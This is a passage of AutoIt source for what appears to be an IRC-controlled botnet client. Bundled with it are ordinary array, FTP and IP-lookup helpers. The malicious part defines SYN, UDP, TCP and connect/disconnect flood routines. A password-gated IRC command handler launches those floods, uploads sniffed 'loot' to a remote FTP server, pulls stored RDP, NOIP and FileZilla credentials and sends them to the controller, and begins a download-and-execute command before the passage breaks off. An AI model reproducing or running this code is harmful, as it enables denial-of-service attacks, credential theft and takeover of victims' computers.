  584.                         Next
  585.                     EndIf
  586.                 Else
  587.                     For $i = $iStart To $iEnd Step $iStep
  588.                         If $iCompare = 3 Then
  589.                             If $bRow Then
  590.                                 If StringRegExp($aArray[$j][$i], $vValue) Then Return $i
  591.                             Else
  592.                                 If StringRegExp($aArray[$i][$j], $vValue) Then Return $i
  593.                             EndIf
  594.                         Else
  595.                             If $bRow Then
  596.                                 If StringInStr($aArray[$j][$i], $vValue, $iCase) > 0 Then Return $i
  597.                             Else
  598.                                 If StringInStr($aArray[$i][$j], $vValue, $iCase) > 0 Then Return $i
  599.                             EndIf
  600.                         EndIf
  601.                     Next
  602.                 EndIf
  603.             Next
  604.         Case Else
  605.             Return SetError(2, 0, -1)
  606.     EndSwitch
  607.     Return SetError(6, 0, -1)
  608. EndFunc   ;==>_ArraySearch
  609. Func _ArrayToString(Const ByRef $aArray, $sDelim_Col = "|", $iStart_Row = -1, $iEnd_Row = -1, $sDelim_Row = @CRLF, $iStart_Col = -1, $iEnd_Col = -1)
  610.     If $sDelim_Col = Default Then $sDelim_Col = "|"
  611.     If $sDelim_Row = Default Then $sDelim_Row = @CRLF
  612.     If $iStart_Row = Default Then $iStart_Row = -1
  613.     If $iEnd_Row = Default Then $iEnd_Row = -1
  614.     If $iStart_Col = Default Then $iStart_Col = -1
  615.     If $iEnd_Col = Default Then $iEnd_Col = -1
  616.     If Not IsArray($aArray) Then Return SetError(1, 0, -1)
  617.     Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
  618.     If $iStart_Row = -1 Then $iStart_Row = 0
  619.     If $iEnd_Row = -1 Then $iEnd_Row = $iDim_1
  620.     If $iStart_Row < -1 Or $iEnd_Row < -1 Then Return SetError(3, 0, -1)
  621.     If $iStart_Row > $iDim_1 Or $iEnd_Row > $iDim_1 Then Return SetError(3, 0, "")
  622.     If $iStart_Row > $iEnd_Row Then Return SetError(4, 0, -1)
  623.     Local $sRet = ""
  624.     Switch UBound($aArray, $UBOUND_DIMENSIONS)
  625.         Case 1
  626.             For $i = $iStart_Row To $iEnd_Row
  627.                 $sRet &= $aArray[$i] & $sDelim_Col
  628.             Next
  629.             Return StringTrimRight($sRet, StringLen($sDelim_Col))
  630.         Case 2
  631.             Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
  632.             If $iStart_Col = -1 Then $iStart_Col = 0
  633.             If $iEnd_Col = -1 Then $iEnd_Col = $iDim_2
  634.             If $iStart_Col < -1 Or $iEnd_Col < -1 Then Return SetError(5, 0, -1)
  635.             If $iStart_Col > $iDim_2 Or $iEnd_Col > $iDim_2 Then Return SetError(5, 0, -1)
  636.             If $iStart_Col > $iEnd_Col Then Return SetError(6, 0, -1)
  637.             For $i = $iStart_Row To $iEnd_Row
  638.                 For $j = $iStart_Col To $iEnd_Col
  639.                     $sRet &= $aArray[$i][$j] & $sDelim_Col
  640.                 Next
  641.                 $sRet = StringTrimRight($sRet, StringLen($sDelim_Col)) & $sDelim_Row
  642.             Next
  643.             Return StringTrimRight($sRet, StringLen($sDelim_Row))
  644.         Case Else
  645.             Return SetError(2, 0, -1)
  646.     EndSwitch
  647.     Return 1
  648. EndFunc   ;==>_ArrayToString
  649. Func _ArrayUnique(Const ByRef $aArray, $iColumn = 0, $iBase = 0, $iCase = 0, $iCount = $ARRAYUNIQUE_COUNT, $iIntType = $ARRAYUNIQUE_AUTO)
  650.     If $iColumn = Default Then $iColumn = 0
  651.     If $iBase = Default Then $iBase = 0
  652.     If $iCase = Default Then $iCase = 0
  653.     If $iCount = Default Then $iCount = $ARRAYUNIQUE_COUNT
  654.     If UBound($aArray, $UBOUND_ROWS) = 0 Then Return SetError(1, 0, 0)
  655.     Local $iDims = UBound($aArray, $UBOUND_DIMENSIONS), $iNumColumns = UBound($aArray, $UBOUND_COLUMNS)
  656.     If $iDims > 2 Then Return SetError(2, 0, 0)
  657.     If $iBase < 0 Or $iBase > 1 Or (Not IsInt($iBase)) Then Return SetError(3, 0, 0)
  658.     If $iCase < 0 Or $iCase > 1 Or (Not IsInt($iCase)) Then Return SetError(3, 0, 0)
  659.     If $iCount < 0 Or $iCount > 1 Or (Not IsInt($iCount)) Then Return SetError(4, 0, 0)
  660.     If $iIntType < 0 Or $iIntType > 4 Or (Not IsInt($iIntType)) Then Return SetError(5, 0, 0)
  661.     If $iColumn < 0 Or ($iNumColumns = 0 And $iColumn > 0) Or ($iNumColumns > 0 And $iColumn >= $iNumColumns) Then Return SetError(6, 0, 0)
  662.     If $iIntType = $ARRAYUNIQUE_AUTO Then
  663.         Local $bInt, $sVarType
  664.         If $iDims = 1 Then
  665.             $bInt = IsInt($aArray[$iBase])
  666.             $sVarType = VarGetType($aArray[$iBase])
  667.         Else
  668.             $bInt = IsInt($aArray[$iBase][$iColumn])
  669.             $sVarType = VarGetType($aArray[$iBase][$iColumn])
  670.         EndIf
  671.         If $bInt And $sVarType = "Int64" Then
  672.             $iIntType = $ARRAYUNIQUE_FORCE64
  673.         Else
  674.             $iIntType = $ARRAYUNIQUE_FORCE32
  675.         EndIf
  676.     EndIf
  677.     Local $oDictionary = ObjCreate("Scripting.Dictionary")
  678.     $oDictionary.CompareMode = Number(Not $iCase)
  679.     Local $vElem, $sType, $vKey, $bCOMError = False
  680.     For $i = $iBase To UBound($aArray) - 1
  681.         If $iDims = 1 Then
  682.             $vElem = $aArray[$i]
  683.         Else
  684.             $vElem = $aArray[$i][$iColumn]
  685.         EndIf
  686.         Switch $iIntType
  687.             Case $ARRAYUNIQUE_FORCE32
  688.                 $oDictionary.Item($vElem) ; Check if key exists - automatically created if not
  689.                 If @error Then
  690.                     $bCOMError = True ; Failed with an Int64, Ptr or Binary datatype
  691.                     ExitLoop
  692.                 EndIf
  693.             Case $ARRAYUNIQUE_FORCE64
  694.                 $sType = VarGetType($vElem)
  695.                 If $sType = "Int32" Then
  696.                     $bCOMError = True ; Failed with an Int32 datatype
  697.                     ExitLoop
  698.                 EndIf ; Create key
  699.                 $vKey = "#" & $sType & "#" & String($vElem)
  700.                 If Not $oDictionary.Item($vKey) Then ; Check if key exists
  701.                     $oDictionary($vKey) = $vElem ; Store actual value in dictionary
  702.                 EndIf
  703.             Case $ARRAYUNIQUE_MATCH
  704.                 $sType = VarGetType($vElem)
  705.                 If StringLeft($sType, 3) = "Int" Then
  706.                     $vKey = "#Int#" & String($vElem)
  707.                 Else
  708.                     $vKey = "#" & $sType & "#" & String($vElem)
  709.                 EndIf
  710.                 If Not $oDictionary.Item($vKey) Then ; Check if key exists
  711.                     $oDictionary($vKey) = $vElem ; Store actual value in dictionary
  712.                 EndIf
  713.             Case $ARRAYUNIQUE_DISTINCT
  714.                 $vKey = "#" & VarGetType($vElem) & "#" & String($vElem)
  715.                 If Not $oDictionary.Item($vKey) Then ; Check if key exists
  716.                     $oDictionary($vKey) = $vElem ; Store actual value in dictionary
  717.                 EndIf
  718.         EndSwitch
  719.     Next
  720.     Local $aValues, $j = 0
  721.     If $bCOMError Then ; Mismatch Int32/64
  722.         Return SetError(7, 0, 0)
  723.     ElseIf $iIntType <> $ARRAYUNIQUE_FORCE32 Then
  724.         Local $aValues[$oDictionary.Count]
  725.         For $vKey In $oDictionary.Keys()
  726.             $aValues[$j] = $oDictionary($vKey)
  727.             If StringLeft($vKey, 5) = "#Ptr#" Then
  728.                 $aValues[$j] = Ptr($aValues[$j])
  729.             EndIf
  730.             $j += 1
  731.         Next
  732.     Else
  733.         $aValues = $oDictionary.Keys()
  734.     EndIf
  735.     If $iCount Then
  736.         _ArrayInsert($aValues, 0, $oDictionary.Count)
  737.     EndIf
  738.     Return $aValues
  739. EndFunc   ;==>_ArrayUnique
  740. Func _BinaryToInt16($4bytes)
  741.     $dllStruct2_Integer = DllStructCreate("int")
  742.     $dllStruct2_Binary = DllStructCreate("byte[4]", DllStructGetPtr($dllStruct2_Integer))
  743.     DllStructSetData($dllStruct2_Binary, 1, $4bytes)
  744.     Return DllStructGetData($dllStruct2_Integer, 1)
  745. EndFunc   ;==>_BinaryToInt16
  746. Func _condisflood($host, $port, $time)
  747.     $ip = TCPNameToIP($host)
  748.     $port = Int($port)
  749.     $time = Int($time)
  750.     TCPStartup()
  751.     Local $timer = TimerInit(), $diff = 0
  752.     While 1
  753.         $diff = TimerDiff($timer)
  754.         If $diff >= $time * 1000 Then
  755.             ExitLoop
  756.         EndIf
  757.         $socket = TCPConnect($ip, $port)
  758.         TCPCloseSocket($socket)
  759.     WEnd
  760. EndFunc   ;==>_condisflood
  761. Func _elementexists($array, $element)
  762.     If $element > UBound($array) - 1 Then Return False
  763.     Return True
  764. EndFunc   ;==>_elementexists
  765. Func _FileListToArray($sPath, $sFilter = "*", $iFlag = 0)
  766.     Local $hSearch, $sFile, $sFileList, $asFileList[1]
  767.     If Not FileExists($sPath) Then Return SetError(1, 1, "")
  768.     If StringRegExp($sFilter, "[\\/:<>|]") Or (Not StringStripWS($sFilter, 8)) Then Return SetError(2, 2, "")
  769.     If Not ($iFlag = 0 Or $iFlag = 1 Or $iFlag = 2 Or $iFlag = 4 Or $iFlag = 5 Or $iFlag = 6) Then Return SetError(3, 3, "")
  770.     If (StringMid($sPath, StringLen($sPath), 1) = "\") Then $sPath = StringTrimRight($sPath, 1)
  771.     $hSearch = FileFindFirstFile($sPath & "\" & $sFilter)
  772.     If $hSearch = -1 Then Return SetError(4, 4, "")
  773.     While 1
  774.         $sFile = FileFindNextFile($hSearch)
  775.         If @error Then
  776.             SetError(0)
  777.             ExitLoop
  778.         EndIf
  779.         If $iFlag = 1 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") <> 0 Then ContinueLoop
  780.         If $iFlag = 2 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") = 0 Then ContinueLoop
  781.         If $iFlag > 3 Then $sFile = $sPath & "\" & $sFile
  782.         $sFileList &= $sFile & "|"
  783.     WEnd
  784.     FileClose($hSearch)
  785.     $asFileList = StringSplit(StringTrimRight($sFileList, 1), "|")
  786.     Return $asFileList
  787. EndFunc   ;==>_FileListToArray
  788. Func _FTP_Close($l_InternetSession)
  789.     If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
  790.     Local $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $l_InternetSession)
  791.     If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-1, 1, 0)
  792.  
  793.     If $__gbCallback_Set = True Then DllCallbackFree($__ghCallback_FTP)
  794.  
  795.     Return $ai_InternetCloseHandle[0]
  796.  
  797. EndFunc   ;==>_FTP_Close
  798. Func _FTP_Connect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_Passive = 0, $i_ServerPort = 0, $l_Service = $INTERNET_SERVICE_FTP, $l_Flags = 0, $l_Context = 0)
  799.     If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
  800.     If $i_Passive == 1 Then $l_Flags = BitOR($l_Flags, $INTERNET_FLAG_PASSIVE)
  801.     Local $ai_InternetConnect = DllCall($__ghWinInet_FTP, 'hwnd', 'InternetConnectW', 'handle', $l_InternetSession, 'wstr', $s_ServerName, 'ushort', $i_ServerPort, 'wstr', $s_Username, 'wstr', $s_Password, 'dword', $l_Service, 'dword', $l_Flags, 'dword_ptr', $l_Context)
  802.     If @error Or $ai_InternetConnect[0] = 0 Then Return SetError(-1, 1, 0)
  803.  
  804.     Return $ai_InternetConnect[0]
  805.  
  806. EndFunc   ;==>_FTP_Connect
  807. Func _FTP_Open($s_Agent, $l_AccessType = $INTERNET_OPEN_TYPE_DIRECT, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
  808.     If $__ghWinInet_FTP = -1 Then __FTP_Init()
  809.     Local $ai_InternetOpen = DllCall($__ghWinInet_FTP, 'handle', 'InternetOpenW', 'wstr', $s_Agent, 'dword', $l_AccessType, _
  810.             'wstr', $s_ProxyName, 'wstr', $s_ProxyBypass, 'dword', $l_Flags)
  811.     If @error Or $ai_InternetOpen[0] = 0 Then Return SetError(-1, 1, 0)
  812.  
  813.     Return $ai_InternetOpen[0]
  814.  
  815. EndFunc   ;==>_FTP_Open
  816. Func _FTP_ProgressUpload($l_FTPSession, $s_LocalFile, $s_RemoteFile, $FunctionToCall = "")
  817.     If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
  818.  
  819.     Local $fhandle = FileOpen($s_LocalFile, 16)
  820.     If @error Then Return SetError(-1, 1, 0)
  821.  
  822.     Local $ai_ftpopenfile = DllCall($__ghWinInet_FTP, 'handle', 'FtpOpenFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile, 'dword', $GENERIC_WRITE, 'dword', $FTP_TRANSFER_TYPE_BINARY, 'dword_ptr', 0)
  823.     If @error Or $ai_ftpopenfile[0] = 0 Then Return SetError(-3, 1, 0)
  824.     Local $glen = FileGetSize($s_LocalFile)
  825.     Local Const $ChunkSize = 256 * 1024
  826.     Local $last = Mod($glen, $ChunkSize)
  827.  
  828.     Local $parts = Ceiling($glen / $ChunkSize)
  829.     Local $buffer = DllStructCreate("byte[" & $ChunkSize & "]")
  830.  
  831.     Local $ai_InternetCloseHandle, $ai_ftpwrite, $out, $ret, $lasterror
  832.     Local $x = $ChunkSize
  833.     Local $done = 0
  834.     For $i = 1 To $parts
  835.         If $i = $parts And $last > 0 Then
  836.             $x = $last
  837.         EndIf
  838.         DllStructSetData($buffer, 1, FileRead($fhandle, $x))
  839.  
  840.         $ai_ftpwrite = DllCall($__ghWinInet_FTP, 'bool', 'InternetWriteFile', 'handle', $ai_ftpopenfile[0], 'struct*', $buffer, 'dword', $x, 'dword*', $out)
  841.         If @error Or $ai_ftpwrite[0] = 0 Then
  842.             $lasterror = 1
  843.             $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
  844.             ; No need to test @error.
  845.             FileClose($fhandle)
  846.             Return SetError(-4, $lasterror, 0)
  847.         EndIf
  848.         $done += $x
  849.  
  850.         If $FunctionToCall = "" Then
  851.             ProgressSet(($done / $glen) * 100)
  852.         Else
  853.             If $ret <= 0 Then
  854.                 $lasterror = @error
  855.                 $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
  856.                 ; No need to test @error.
  857.                 DllCall($__ghWinInet_FTP, 'bool', 'FtpDeleteFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile)
  858.                 ; No need to test @error.
  859.                 FileClose($fhandle)
  860.                 Return SetError(-6, $lasterror, $ret)
  861.             EndIf
  862.         EndIf
  863.         Sleep(10)
  864.     Next
  865.  
  866.     FileClose($fhandle)
  867.  
  868.     If $FunctionToCall = "" Then ProgressOff()
  869.  
  870.     $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
  871.     ; No need to test @error.
  872.     If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-5, 1, 0)
  873.  
  874.     Return 1
  875. EndFunc   ;==>_FTP_ProgressUpload
  876. Func _GetIP()
  877.     Local Const $STR_REGEXPARRAYGLOBALMATCH = 3 ; Return array of global matches.
  878.     Local Const $GETIP_TIMER = 300000 ; Constant for how many milliseconds between each check. This is 5 minutes.
  879.     Local Static $hTimer = 0 ; Create a static variable to store the timer handle.
  880.     Local Static $sLastIP = 0 ; Create a static variable to store the last IP.
  881.     If TimerDiff($hTimer) < $GETIP_TIMER And Not $sLastIP Then ; If still in the timer and $sLastIP contains a value.
  882.         Return SetExtended(1, $sLastIP) ; Return the last IP instead and set @extended to 1.
  883.     EndIf
  884.     #cs
  885.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        Additional list of possible IP disovery sites by z3r0c00l12.
  886.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://corz.org/ip
  887.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://icanhazip.com
  888.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://ip.appspot.com
  889.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://ip.eprci.net/text
  890.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://ip.jsontest.com/
  891.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://services.packetizer.com/ipaddress/?f=text
  892.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://whatthehellismyip.com/?ipraw
  893.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://wtfismyip.com/text
  894.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://www.networksecuritytoolkit.org/nst/tools/ip.php
  895.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://www.telize.com/ip
  896.  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |        http://www.trackip.net/ip
  897.     #ce
  898.     Local $aGetIPURL = ["https://api.ipify.org", "http://checkip.dyndns.org", "http://www.myexternalip.com/raw", "http://bot.whatismyipaddress.com"], _
  899.             $aReturn = 0, _
  900.             $sReturn = ""
  901.     For $i = 0 To UBound($aGetIPURL) - 1
  902.         Local $aReturn = ""
  903.         $sReturn = InetRead($aGetIPURL[$i])
  904.         If @error Or $sReturn == "" Then ContinueLoop
  905.         $aReturn = StringRegExp(BinaryToString($sReturn), "((?:\d{1,3}\.){3}\d{1,3})", $STR_REGEXPARRAYGLOBALMATCH) ; [\d\.]{7,15}
  906.         If Not @error Then
  907.             $sReturn = $aReturn[0]
  908.             ExitLoop
  909.         EndIf
  910.         $sReturn = ""
  911.     Next
  912.     $hTimer = TimerInit() ; Create a new timer handle.
  913.     $sLastIP = $sReturn ; Store this IP.
  914.     If $sReturn == "" Then Return SetError(1, 0, -1)
  915.     Return $sReturn
  916. EndFunc   ;==>_GetIP
  917.  
  918. Func _Singleton($sOccurrenceName, $iFlag = 0)
  919.     Local Const $ERROR_ALREADY_EXISTS = 183
  920.     Local Const $SECURITY_DESCRIPTOR_REVISION = 1
  921.     Local $tSecurityAttributes = 0
  922.     If BitAND($iFlag, 2) Then
  923.         Local $tSecurityDescriptor = DllStructCreate("byte;byte;word;ptr[4]")
  924.         Local $aRet = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $tSecurityDescriptor, "dword", $SECURITY_DESCRIPTOR_REVISION)
  925.         If @error Then Return SetError(@error, @extended, 0)
  926.         If $aRet[0] Then
  927.             $aRet = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $tSecurityDescriptor, "bool", 1, "ptr", 0, "bool", 0)
  928.             If @error Then Return SetError(@error, @extended, 0)
  929.             If $aRet[0] Then
  930.                 $tSecurityAttributes = DllStructCreate($tagSECURITY_ATTRIBUTES)
  931.                 DllStructSetData($tSecurityAttributes, 1, DllStructGetSize($tSecurityAttributes))
  932.                 DllStructSetData($tSecurityAttributes, 2, DllStructGetPtr($tSecurityDescriptor))
  933.                 DllStructSetData($tSecurityAttributes, 3, 0)
  934.             EndIf
  935.         EndIf
  936.     EndIf
  937.     Local $aHandle = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $tSecurityAttributes, "bool", 1, "wstr", $sOccurrenceName)
  938.     If @error Then Return SetError(@error, @extended, 0)
  939.     Local $aLastError = DllCall("kernel32.dll", "dword", "GetLastError")
  940.     If @error Then Return SetError(@error, @extended, 0)
  941.     If $aLastError[0] = $ERROR_ALREADY_EXISTS Then
  942.         If BitAND($iFlag, 1) Then
  943.             DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $aHandle[0])
  944.             If @error Then Return SetError(@error, @extended, 0)
  945.             Return SetError($aLastError[0], $aLastError[0], 0)
  946.         Else
  947.             Exit -1
  948.         EndIf
  949.     EndIf
  950.     Return $aHandle[0]
  951. EndFunc   ;==>_Singleton
  952. Func _synflood($host, $port, $time)
  953.     $ip = TCPNameToIP($host)
  954.     $port = Int($port)
  955.     $time = Int($time)
  956.     TCPStartup()
  957.     Local $timer = TimerInit(), $diff = 0
  958.     While 1
  959.         $diff = TimerDiff($timer)
  960.         If $diff >= $time * 1000 Then
  961.             ExitLoop
  962.         EndIf
  963.         TCPConnect($ip, $port)
  964.     WEnd
  965. EndFunc   ;==>_synflood
  966. Func _tcpflood($ip, $port, $packetsize, $time)
  967.     $port = Int($port)
  968.     $packetsize = Int($packetsize)
  969.     $time = Int($time)
  970.     TCPStartup()
  971.     Local $timer = TimerInit(), $diff = 0
  972.     $tcpsock = TCPConnect($ip, $port)
  973.     While 1
  974.         $diff = TimerDiff($timer)
  975.         If $diff >= $time * 1000 Then
  976.             TCPCloseSocket($tcpsock)
  977.             ExitLoop
  978.         EndIf
  979.         $tcpsock = TCPConnect($ip, $port)
  980.         While Not @error
  981.             $packet = ""
  982.             For $i = 0 To $packetsize Step 1
  983.                 $packet &= Chr(Random(0, 255, 1))
  984.             Next
  985.             TCPSend($tcpsock, $packet)
  986.             If $diff >= $time * 1000 Then
  987.                 ExitLoop
  988.             EndIf
  989.         WEnd
  990.         TCPCloseSocket($tcpsock)
  991.     WEnd
  992. EndFunc   ;==>_tcpflood
  993. Func _udpflood($host, $port, $packetsize, $time)
  994.     $ip = TCPNameToIP($host)
  995.     $port = Int($port)
  996.     $packetsize = Int($packetsize)
  997.     $time = Int($time)
  998.     UDPStartup()
  999.     $packet = ""
  1000.     For $i = 1 To $packetsize
  1001.         $packet &= Chr(Random(0, 255, 1))
  1002.     Next
  1003.     Local $timer = TimerInit(), $diff = 0
  1004.     $udpsock = UDPOpen($ip, $port)
  1005.     While 1
  1006.         $diff = TimerDiff($timer)
  1007.         If $diff >= $time * 1000 Then
  1008.             UDPCloseSocket($udpsock)
  1009.             ExitLoop
  1010.         EndIf
  1011.         UDPSend($udpsock, $packet)
  1012.     WEnd
  1013. EndFunc   ;==>_udpflood
  1014. Func _WinActiveByExe($sExe, $iActive = True) ;False to WinActivate, True to just see if it's active
  1015.     If Not ProcessExists($sExe) Then Return SetError(1, 0, 0)
  1016.     Local $aPL = ProcessList($sExe)
  1017.     Local $aWL = WinList()
  1018.     For $iCC = 1 To $aWL[0][0]
  1019.         For $xCC = 1 To $aPL[0][0]
  1020.             If $aWL[$iCC][0] <> '' And _
  1021.                     WinGetProcess($aWL[$iCC][1]) = $aPL[$xCC][1] And _
  1022.                     BitAND(WinGetState($aWL[$iCC][1]), 2) Then
  1023.                 If $iActive And WinActive($aWL[$iCC][1]) Then Return 1
  1024.                 If Not $iActive And Not WinActive($aWL[$iCC][1]) Then
  1025.                     WinActivate($aWL[$iCC][1])
  1026.                     Return 1
  1027.                 EndIf
  1028.             EndIf
  1029.         Next
  1030.     Next
  1031.     Return SetError(2, 0, 0)
  1032. EndFunc   ;==>_WinActiveByExe
  1033. Func base64($vCode, $bEncode = True, $bUrl = False)
  1034.  
  1035.     Local $oDM = ObjCreate("Microsoft.XMLDOM")
  1036.     If Not IsObj($oDM) Then Return SetError(1, 0, 1)
  1037.  
  1038.     Local $oEL = $oDM.createElement("Tmp")
  1039.     $oEL.DataType = "bin.base64"
  1040.  
  1041.     If $bEncode Then
  1042.         $oEL.NodeTypedValue = Binary($vCode)
  1043.         If Not $bUrl Then Return $oEL.Text
  1044.         Return StringReplace(StringReplace(StringReplace($oEL.Text, "+", "-"), "/", "_"), @LF, "")
  1045.     Else
  1046.         If $bUrl Then $vCode = StringReplace(StringReplace($vCode, "-", "+"), "_", "/")
  1047.         $oEL.Text = $vCode
  1048.         Return $oEL.NodeTypedValue
  1049.     EndIf
  1050.  
  1051. EndFunc   ;==>base64
  1052. Func changemode($irc, $mode, $chan = "")
  1053.     If $irc = -1 Then Return 0
  1054.     If $chan = "" Then
  1055.         TCPSend($irc, "MODE " & $mode & @CRLF)
  1056.         If @error Then
  1057.             Return -1
  1058.         EndIf
  1059.         Return 1
  1060.     EndIf
  1061.     TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF)
  1062.     If @error Then
  1063.         Return -1
  1064.     EndIf
  1065.     Return 1
  1066. EndFunc   ;==>changemode
  1067. ; #FUNCTION#
  1068. Func cmd($user, $channel, $msg)
  1069.     Local $stemp = StringSplit($msg, " ")
  1070.     If StringRight($stemp[1], 1) == "*" Then $stemp[1] = StringTrimRight($stemp[1], 1)
  1071.     If StringLeft($stemp[1], 1) == "!" Then $stemp[1] = StringTrimLeft($stemp[1], 1)
  1072.     If StringLeft($botid, StringLen($stemp[1])) == $stemp[1] Then
  1073.     Else
  1074.         Return
  1075.     EndIf
  1076.     Switch StringLower($stemp[2])
  1077.         Case "signin"
  1078.             If _elementexists($stemp, 3) Then
  1079.                 If $stemp[3] == $botpassword Then
  1080.                     sendmessage($sock, "Signin successful.", $channel)
  1081.                     $signedin = True
  1082.                 Else
  1083.                     sendmessage($sock, "Signin failed!", $channel)
  1084.                 EndIf
  1085.             EndIf
  1086.         Case "signout"
  1087.             If $signedin = True Then
  1088.                 sendmessage($sock, "Successfully signed out.", $channel)
  1089.                 $signedin = False
  1090.             EndIf
  1091.         Case "syn"
  1092.             If _elementexists($stemp, 5) And $signedin = True Then
  1093.                 sendmessage($sock, "SYN flooding " & $stemp[3] & ":" & $stemp[4], $channel)
  1094.                 _synflood($stemp[3], $stemp[4], $stemp[5])
  1095.                 sendmessage($sock, "SYN flood finished", $channel)
  1096.             EndIf
  1097.         Case "udp"
  1098.             If _elementexists($stemp, 6) And $signedin = True Then
  1099.                 sendmessage($sock, "UDP flooding " & $stemp[3] & ":" & $stemp[4] & " with packetsize " & $stemp[5], $channel)
  1100.                 _udpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6])
  1101.                 sendmessage($sock, "UDP flood finished", $channel)
  1102.             EndIf
  1103.         Case "tcp"
  1104.             If _elementexists($stemp, 6) And $signedin = True Then
  1105.                 sendmessage($sock, "TCP flooding " & $stemp[3] & ":" & $stemp[4], $channel)
  1106.                 _tcpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6])
  1107.                 sendmessage($sock, "TCP flood finished", $channel)
  1108.             EndIf
  1109.         Case "condis"
  1110.             If _elementexists($stemp, 5) And $signedin = True Then
  1111.                 sendmessage($sock, "Connect/disconnect flooding " & $stemp[3] & ":" & $stemp[4], $channel)
  1112.                 _condisflood($stemp[3], $stemp[4], $stemp[5])
  1113.                 sendmessage($sock, "Connect/disconnect flood finished", $channel)
  1114.             EndIf
  1115.         Case "loot"
  1116.             If _elementexists($stemp, 5) And $signedin = True Then
  1117.                 If FileExists($lootLoc) Then
  1118.                     $sServer = TCPNameToIP($stemp[3])
  1119.                     $hOpen = _FTP_Open($botid)
  1120.                     $hConn = _FTP_Connect($hOpen, $sServer, $stemp[4], $stemp[5], 1)
  1121.                     $hPutFile = _FTP_ProgressUpload($hConn, $lootLoc, "sniffs-" & @UserName & "-" & @ComputerName & "@" & $myIP & ".txt")
  1122.                     _FTP_Close($hConn)
  1123.                     _FTP_Close($hOpen)
  1124.                     If $hPutFile = 1 Then
  1125.                         sendmessage($sock, "Successfully uploaded loot.", $channel)
  1126.                     Else
  1127.                         sendmessage($sock, "Error uploading loot.", $channel)
  1128.                     EndIf
  1129.                 Else
  1130.                     sendmessage($sock, "No loot!!! (maybe I'm not running as admin!)", $channel)
  1131.                 EndIf
  1132.             EndIf
  1133.         Case "noip"
  1134.             If $signedin = True Then
  1135.                 sendmessage($sock, NOIP(), $channel)
  1136.             EndIf
  1137.         Case "filezilla"
  1138.             If $signedin = True Then
  1139.                 sendmessage($sock, FileZilla(), $channel)
  1140.             EndIf
  1141.         Case "rdp"
  1142.             If $signedin = True Then
  1143.                 For $i = 0 To 20
  1144.                     $ServIP = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default", "MRU" & $i)
  1145.                     If $ServIP == "" Then ExitLoop
  1146.                     $ServUser = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\UsernameHint", $ServIP)
  1147.                     $Creds = UncryptRDPPassword(BinaryToString(RegRead("HKEY_LOCAL_MACHINE\Comm\Security\CredMan\Creds", $i), 2))
  1148.                     $RDPCreds &= $ServIP & " USR: " & $ServUser & " PWD: " & $Creds & "|"
  1149.                 Next
  1150.                 If $RDPCreds <> "" Then
  1151.                     sendmessage($sock, StringTrimRight($RDPCreds, 1), $channel)
  1152.                 EndIf
  1153.             EndIf
  1154.         Case "getip"
  1155.             If $signedin = True Then
  1156.                 sendmessage($sock, $myIP, $channel)
  1157.             EndIf
  1158.         Case "dlexe"
  1159.             If _elementexists($stemp, 3) And $signedin = True Then
  1160.                 $exe = ""
  1161.                 Dim $aspace[3]
  1162.                 $Digits = 8
  1163.                 For $i = 1 To $Digits
  1164.                     $aspace[0] = Chr(Random(65, 90, 1))
  1165.                     $aspace[1] = Chr(Random(97, 122, 1))
